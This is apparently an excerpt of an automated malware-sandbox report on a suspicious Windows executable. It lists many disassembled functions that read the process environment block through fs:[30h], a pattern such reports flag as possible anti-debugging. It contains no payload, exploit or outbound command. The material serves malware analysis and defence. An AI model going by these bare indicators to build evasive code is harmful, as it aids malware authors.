Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C796E0 mov eax, dword ptr fs:[00000030h]	2_2_34C796E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C796E0 mov eax, dword ptr fs:[00000030h]	2_2_34C796E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8C6E0 mov eax, dword ptr fs:[00000030h]	2_2_34C8C6E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C856E0 mov eax, dword ptr fs:[00000030h]	2_2_34C856E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C856E0 mov eax, dword ptr fs:[00000030h]	2_2_34C856E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C856E0 mov eax, dword ptr fs:[00000030h]	2_2_34C856E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA66E0 mov eax, dword ptr fs:[00000030h]	2_2_34CA66E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA66E0 mov eax, dword ptr fs:[00000030h]	2_2_34CA66E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFC6F2 mov eax, dword ptr fs:[00000030h]	2_2_34CFC6F2
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFC6F2 mov eax, dword ptr fs:[00000030h]	2_2_34CFC6F2
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0C691 mov eax, dword ptr fs:[00000030h]	2_2_34D0C691
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90680 mov eax, dword ptr fs:[00000030h]	2_2_34C90680
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90680 mov eax, dword ptr fs:[00000030h]	2_2_34C90680
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90680 mov eax, dword ptr fs:[00000030h]	2_2_34C90680
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90680 mov eax, dword ptr fs:[00000030h]	2_2_34C90680
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90680 mov eax, dword ptr fs:[00000030h]	2_2_34C90680
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90680 mov eax, dword ptr fs:[00000030h]	2_2_34C90680
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90680 mov eax, dword ptr fs:[00000030h]	2_2_34C90680
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90680 mov eax, dword ptr fs:[00000030h]	2_2_34C90680
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90680 mov eax, dword ptr fs:[00000030h]	2_2_34C90680
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90680 mov eax, dword ptr fs:[00000030h]	2_2_34C90680
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90680 mov eax, dword ptr fs:[00000030h]	2_2_34C90680
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C90680 mov eax, dword ptr fs:[00000030h]	2_2_34C90680
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFD69D mov eax, dword ptr fs:[00000030h]	2_2_34CFD69D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C88690 mov eax, dword ptr fs:[00000030h]	2_2_34C88690
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3F68C mov eax, dword ptr fs:[00000030h]	2_2_34D3F68C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D486A8 mov eax, dword ptr fs:[00000030h]	2_2_34D486A8
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D486A8 mov eax, dword ptr fs:[00000030h]	2_2_34D486A8
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C83640 mov eax, dword ptr fs:[00000030h]	2_2_34C83640
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9F640 mov eax, dword ptr fs:[00000030h]	2_2_34C9F640
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9F640 mov eax, dword ptr fs:[00000030h]	2_2_34C9F640
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9F640 mov eax, dword ptr fs:[00000030h]	2_2_34C9F640
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBC640 mov eax, dword ptr fs:[00000030h]	2_2_34CBC640
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBC640 mov eax, dword ptr fs:[00000030h]	2_2_34CBC640
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7D64A mov eax, dword ptr fs:[00000030h]	2_2_34C7D64A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7D64A mov eax, dword ptr fs:[00000030h]	2_2_34C7D64A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB265C mov eax, dword ptr fs:[00000030h]	2_2_34CB265C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB265C mov ecx, dword ptr fs:[00000030h]	2_2_34CB265C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB265C mov eax, dword ptr fs:[00000030h]	2_2_34CB265C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB5654 mov eax, dword ptr fs:[00000030h]	2_2_34CB5654
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C77662 mov eax, dword ptr fs:[00000030h]	2_2_34C77662
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C77662 mov eax, dword ptr fs:[00000030h]	2_2_34C77662
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C77662 mov eax, dword ptr fs:[00000030h]	2_2_34C77662
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB666D mov esi, dword ptr fs:[00000030h]	2_2_34CB666D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB666D mov eax, dword ptr fs:[00000030h]	2_2_34CB666D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB666D mov eax, dword ptr fs:[00000030h]	2_2_34CB666D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C93660 mov eax, dword ptr fs:[00000030h]	2_2_34C93660
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C93660 mov eax, dword ptr fs:[00000030h]	2_2_34C93660
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C93660 mov eax, dword ptr fs:[00000030h]	2_2_34C93660
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C80670 mov eax, dword ptr fs:[00000030h]	2_2_34C80670
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2670 mov eax, dword ptr fs:[00000030h]	2_2_34CC2670
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2670 mov eax, dword ptr fs:[00000030h]	2_2_34CC2670
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB360F mov eax, dword ptr fs:[00000030h]	2_2_34CB360F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAD600 mov eax, dword ptr fs:[00000030h]	2_2_34CAD600
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAD600 mov eax, dword ptr fs:[00000030h]	2_2_34CAD600
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3F607 mov eax, dword ptr fs:[00000030h]	2_2_34D3F607
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D54600 mov eax, dword ptr fs:[00000030h]	2_2_34D54600
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D13608 mov eax, dword ptr fs:[00000030h]	2_2_34D13608
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D13608 mov eax, dword ptr fs:[00000030h]	2_2_34D13608
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D13608 mov eax, dword ptr fs:[00000030h]	2_2_34D13608
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D13608 mov eax, dword ptr fs:[00000030h]	2_2_34D13608
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D13608 mov eax, dword ptr fs:[00000030h]	2_2_34D13608
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D13608 mov eax, dword ptr fs:[00000030h]	2_2_34D13608
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D08633 mov esi, dword ptr fs:[00000030h]	2_2_34D08633
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D08633 mov eax, dword ptr fs:[00000030h]	2_2_34D08633
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D08633 mov eax, dword ptr fs:[00000030h]	2_2_34D08633
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C85622 mov eax, dword ptr fs:[00000030h]	2_2_34C85622
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C85622 mov eax, dword ptr fs:[00000030h]	2_2_34C85622
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C87623 mov eax, dword ptr fs:[00000030h]	2_2_34C87623
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBC620 mov eax, dword ptr fs:[00000030h]	2_2_34CBC620
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBF63F mov eax, dword ptr fs:[00000030h]	2_2_34CBF63F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBF63F mov eax, dword ptr fs:[00000030h]	2_2_34CBF63F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C80630 mov eax, dword ptr fs:[00000030h]	2_2_34C80630
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB0630 mov eax, dword ptr fs:[00000030h]	2_2_34CB0630
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2D62C mov ecx, dword ptr fs:[00000030h]	2_2_34D2D62C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2D62C mov ecx, dword ptr fs:[00000030h]	2_2_34D2D62C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2D62C mov eax, dword ptr fs:[00000030h]	2_2_34D2D62C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3F7CF mov eax, dword ptr fs:[00000030h]	2_2_34D3F7CF
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAE7E0 mov eax, dword ptr fs:[00000030h]	2_2_34CAE7E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C837E4 mov eax, dword ptr fs:[00000030h]	2_2_34C837E4
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C837E4 mov eax, dword ptr fs:[00000030h]	2_2_34C837E4
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C837E4 mov eax, dword ptr fs:[00000030h]	2_2_34C837E4
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C837E4 mov eax, dword ptr fs:[00000030h]	2_2_34C837E4
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C837E4 mov eax, dword ptr fs:[00000030h]	2_2_34C837E4
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C837E4 mov eax, dword ptr fs:[00000030h]	2_2_34C837E4
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C837E4 mov eax, dword ptr fs:[00000030h]	2_2_34C837E4
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C877F9 mov eax, dword ptr fs:[00000030h]	2_2_34C877F9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C877F9 mov eax, dword ptr fs:[00000030h]	2_2_34C877F9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFE79D mov eax, dword ptr fs:[00000030h]	2_2_34CFE79D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFE79D mov eax, dword ptr fs:[00000030h]	2_2_34CFE79D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFE79D mov eax, dword ptr fs:[00000030h]	2_2_34CFE79D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFE79D mov eax, dword ptr fs:[00000030h]	2_2_34CFE79D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFE79D mov eax, dword ptr fs:[00000030h]	2_2_34CFE79D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFE79D mov eax, dword ptr fs:[00000030h]	2_2_34CFE79D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFE79D mov eax, dword ptr fs:[00000030h]	2_2_34CFE79D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFE79D mov eax, dword ptr fs:[00000030h]	2_2_34CFE79D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFE79D mov eax, dword ptr fs:[00000030h]	2_2_34CFE79D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D5B781 mov eax, dword ptr fs:[00000030h]	2_2_34D5B781
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D5B781 mov eax, dword ptr fs:[00000030h]	2_2_34D5B781
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB1796 mov eax, dword ptr fs:[00000030h]	2_2_34CB1796
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB1796 mov eax, dword ptr fs:[00000030h]	2_2_34CB1796
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D517BC mov eax, dword ptr fs:[00000030h]	2_2_34D517BC
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C807A7 mov eax, dword ptr fs:[00000030h]	2_2_34C807A7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4D7A7 mov eax, dword ptr fs:[00000030h]	2_2_34D4D7A7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4D7A7 mov eax, dword ptr fs:[00000030h]	2_2_34D4D7A7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4D7A7 mov eax, dword ptr fs:[00000030h]	2_2_34D4D7A7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB174A mov eax, dword ptr fs:[00000030h]	2_2_34CB174A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2E750 mov eax, dword ptr fs:[00000030h]	2_2_34D2E750
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB3740 mov eax, dword ptr fs:[00000030h]	2_2_34CB3740
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBA750 mov eax, dword ptr fs:[00000030h]	2_2_34CBA750
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F75B mov eax, dword ptr fs:[00000030h]	2_2_34C7F75B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F75B mov eax, dword ptr fs:[00000030h]	2_2_34C7F75B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F75B mov eax, dword ptr fs:[00000030h]	2_2_34C7F75B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F75B mov eax, dword ptr fs:[00000030h]	2_2_34C7F75B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F75B mov eax, dword ptr fs:[00000030h]	2_2_34C7F75B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F75B mov eax, dword ptr fs:[00000030h]	2_2_34C7F75B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F75B mov eax, dword ptr fs:[00000030h]	2_2_34C7F75B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F75B mov eax, dword ptr fs:[00000030h]	2_2_34C7F75B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F75B mov eax, dword ptr fs:[00000030h]	2_2_34C7F75B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA2755 mov eax, dword ptr fs:[00000030h]	2_2_34CA2755
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA2755 mov eax, dword ptr fs:[00000030h]	2_2_34CA2755
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA2755 mov eax, dword ptr fs:[00000030h]	2_2_34CA2755
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA2755 mov ecx, dword ptr fs:[00000030h]	2_2_34CA2755
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA2755 mov eax, dword ptr fs:[00000030h]	2_2_34CA2755
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA2755 mov eax, dword ptr fs:[00000030h]	2_2_34CA2755
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C92760 mov ecx, dword ptr fs:[00000030h]	2_2_34C92760
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC1763 mov eax, dword ptr fs:[00000030h]	2_2_34CC1763
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC1763 mov eax, dword ptr fs:[00000030h]	2_2_34CC1763
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC1763 mov eax, dword ptr fs:[00000030h]	2_2_34CC1763
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC1763 mov eax, dword ptr fs:[00000030h]	2_2_34CC1763
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC1763 mov eax, dword ptr fs:[00000030h]	2_2_34CC1763
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC1763 mov eax, dword ptr fs:[00000030h]	2_2_34CC1763
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C84779 mov eax, dword ptr fs:[00000030h]	2_2_34C84779
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C84779 mov eax, dword ptr fs:[00000030h]	2_2_34C84779
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB0774 mov eax, dword ptr fs:[00000030h]	2_2_34CB0774
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7B705 mov eax, dword ptr fs:[00000030h]	2_2_34C7B705
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7B705 mov eax, dword ptr fs:[00000030h]	2_2_34C7B705
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7B705 mov eax, dword ptr fs:[00000030h]	2_2_34C7B705
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7B705 mov eax, dword ptr fs:[00000030h]	2_2_34C7B705
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3F717 mov eax, dword ptr fs:[00000030h]	2_2_34D3F717
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA270D mov eax, dword ptr fs:[00000030h]	2_2_34CA270D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA270D mov eax, dword ptr fs:[00000030h]	2_2_34CA270D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA270D mov eax, dword ptr fs:[00000030h]	2_2_34CA270D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8D700 mov ecx, dword ptr fs:[00000030h]	2_2_34C8D700
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8471B mov eax, dword ptr fs:[00000030h]	2_2_34C8471B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8471B mov eax, dword ptr fs:[00000030h]	2_2_34C8471B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4970B mov eax, dword ptr fs:[00000030h]	2_2_34D4970B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4970B mov eax, dword ptr fs:[00000030h]	2_2_34D4970B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA9723 mov eax, dword ptr fs:[00000030h]	2_2_34CA9723
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C83722 mov eax, dword ptr fs:[00000030h]	2_2_34C83722
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C83722 mov eax, dword ptr fs:[00000030h]	2_2_34C83722
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7B0D6 mov eax, dword ptr fs:[00000030h]	2_2_34C7B0D6
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7B0D6 mov eax, dword ptr fs:[00000030h]	2_2_34C7B0D6
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7B0D6 mov eax, dword ptr fs:[00000030h]	2_2_34C7B0D6
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7B0D6 mov eax, dword ptr fs:[00000030h]	2_2_34C7B0D6
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C9B0D0 mov eax, dword ptr fs:[00000030h]	2_2_34C9B0D0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7C0F6 mov eax, dword ptr fs:[00000030h]	2_2_34C7C0F6
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBD0F0 mov eax, dword ptr fs:[00000030h]	2_2_34CBD0F0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBD0F0 mov ecx, dword ptr fs:[00000030h]	2_2_34CBD0F0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C790F8 mov eax, dword ptr fs:[00000030h]	2_2_34C790F8
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C790F8 mov eax, dword ptr fs:[00000030h]	2_2_34C790F8
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C790F8 mov eax, dword ptr fs:[00000030h]	2_2_34C790F8
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C790F8 mov eax, dword ptr fs:[00000030h]	2_2_34C790F8
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7A093 mov ecx, dword ptr fs:[00000030h]	2_2_34C7A093
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D54080 mov eax, dword ptr fs:[00000030h]	2_2_34D54080
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D54080 mov eax, dword ptr fs:[00000030h]	2_2_34D54080
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D54080 mov eax, dword ptr fs:[00000030h]	2_2_34D54080
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D54080 mov eax, dword ptr fs:[00000030h]	2_2_34D54080
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D54080 mov eax, dword ptr fs:[00000030h]	2_2_34D54080
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D54080 mov eax, dword ptr fs:[00000030h]	2_2_34D54080
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D54080 mov eax, dword ptr fs:[00000030h]	2_2_34D54080
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7C090 mov eax, dword ptr fs:[00000030h]	2_2_34C7C090
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D550B7 mov eax, dword ptr fs:[00000030h]	2_2_34D550B7
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC00A5 mov eax, dword ptr fs:[00000030h]	2_2_34CC00A5
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2F0A5 mov eax, dword ptr fs:[00000030h]	2_2_34D2F0A5
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2F0A5 mov eax, dword ptr fs:[00000030h]	2_2_34D2F0A5
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2F0A5 mov eax, dword ptr fs:[00000030h]	2_2_34D2F0A5
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2F0A5 mov eax, dword ptr fs:[00000030h]	2_2_34D2F0A5
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2F0A5 mov eax, dword ptr fs:[00000030h]	2_2_34D2F0A5
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2F0A5 mov eax, dword ptr fs:[00000030h]	2_2_34D2F0A5
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D2F0A5 mov eax, dword ptr fs:[00000030h]	2_2_34D2F0A5
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3B0AF mov eax, dword ptr fs:[00000030h]	2_2_34D3B0AF
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D5505B mov eax, dword ptr fs:[00000030h]	2_2_34D5505B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB0044 mov eax, dword ptr fs:[00000030h]	2_2_34CB0044
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C81051 mov eax, dword ptr fs:[00000030h]	2_2_34C81051
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C81051 mov eax, dword ptr fs:[00000030h]	2_2_34C81051
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C87072 mov eax, dword ptr fs:[00000030h]	2_2_34C87072
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C86074 mov eax, dword ptr fs:[00000030h]	2_2_34C86074
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C86074 mov eax, dword ptr fs:[00000030h]	2_2_34C86074
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C88009 mov eax, dword ptr fs:[00000030h]	2_2_34C88009
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA5004 mov eax, dword ptr fs:[00000030h]	2_2_34CA5004
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA5004 mov ecx, dword ptr fs:[00000030h]	2_2_34CA5004
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC2010 mov ecx, dword ptr fs:[00000030h]	2_2_34CC2010
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7D02D mov eax, dword ptr fs:[00000030h]	2_2_34C7D02D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C901C0 mov eax, dword ptr fs:[00000030h]	2_2_34C901C0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C901C0 mov eax, dword ptr fs:[00000030h]	2_2_34C901C0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C951C0 mov eax, dword ptr fs:[00000030h]	2_2_34C951C0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C951C0 mov eax, dword ptr fs:[00000030h]	2_2_34C951C0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C951C0 mov eax, dword ptr fs:[00000030h]	2_2_34C951C0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C951C0 mov eax, dword ptr fs:[00000030h]	2_2_34C951C0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAB1E0 mov eax, dword ptr fs:[00000030h]	2_2_34CAB1E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAB1E0 mov eax, dword ptr fs:[00000030h]	2_2_34CAB1E0
